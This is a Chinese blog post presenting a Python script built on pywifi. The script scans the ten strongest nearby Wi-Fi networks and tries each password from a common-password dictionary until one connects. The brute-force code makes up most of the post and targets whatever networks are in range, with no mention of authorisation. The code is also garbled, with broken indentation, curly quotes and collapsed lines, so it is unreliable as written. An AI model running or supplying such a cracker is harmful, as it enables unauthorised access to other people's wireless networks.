python WiFi暴力破解小程序

首先给大家推荐一下我老师大神的人工智能教学网站。教学不仅零基础,通俗易懂,而且非常风趣幽默,还时不时有内涵黄段子!点这里可以跳转到网站

思路:

 1、扫描前十个信号最好的wifi,得到ssid

2、然后用一个密码,遍历所有ssid,尝试能否连接上
3、密码正确连接上后,会报错退出程序,否则会一直运行下去
4、本脚本没有优化,运行时可能有bug
5、时间大概是2~3秒扫描一个ssid,根据计算机的不同可以修改,但是时间间隔太短会出错,比如正确的密码却因时间太短认为是错误的。
本博客是学习  分分钟搞定python破解无线wifi  这篇博客然后根据自己的需求扩充改写的,大家可以学习这位大神的博客。
运行时的现象:





图一:此处应该有一副图片
# coding:utf-8
import time  #时间
import pywifi  #破解wifi
from pywifi import const  #引用一些定义
from asyncio.tasks import sleep

class PoJie():
    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #抓取网卡接口
self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
self.iface.disconnect() #测试链接断开所有链接
time.sleep(1) #休眠1秒
self.list=self.initialssidnamelist()

        # 测试网卡是否属于断开状态,
assert self.iface.status() in\
            

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

def bies(self): self.iface.scan() # 扫描 bessis = self.iface.scan_results() list = [] for data in bessis: list.append((data.ssid, data.signal)) return len(list), sorted(list, key=lambda st: st[1], reverse=True) def getsignal(self): while True: n, data = self.bies() time.sleep(1) if n is not 0: return data[0:10] def initialssidnamelist(self): ssidlist = self.getsignal() namelist = [] for item in ssidlist: namelist.append(item[0]) return namelist def readPassWord(self,ssidname,myStr): bool1=self.test_connect(myStr,ssidname) if len(myStr)<8: return False if bool1: print(“密码+++++++++++++正确:”+myStr+” “+ssidname) return True else: print(“密码错误:”+myStr+” “+ssidname) return False def test_connect(self,findStr,ssidname):#测试链接 profile = pywifi.Profile() #创建wifi链接文件 profile.ssid =ssidname #wifi名称 # profile.ssid =”Netcore” #wifi名称 profile.auth = const.AUTH_ALG_OPEN #网卡的开放, profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 profile.key = findStr #密码 self.iface.remove_all_network_profiles() #删除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件 self.iface.connect(tmp_profile)#链接 time.sleep(2) if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 time.sleep(1) #检查断开状态 assert self.iface.status() in\

[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

return isOK def run(self): while True: myStr = self.file.readline() for ssidname in self.list: ret=self.readPassWord(ssidname,myStr) if ret: raise FileExistsError def __del__(self): self.file.close()

path=r"G:\DownLoad\6000常用密码字典.txt"
start=PoJie(path)
start.run()

点这里可以跳转到人工智能网站

发表评论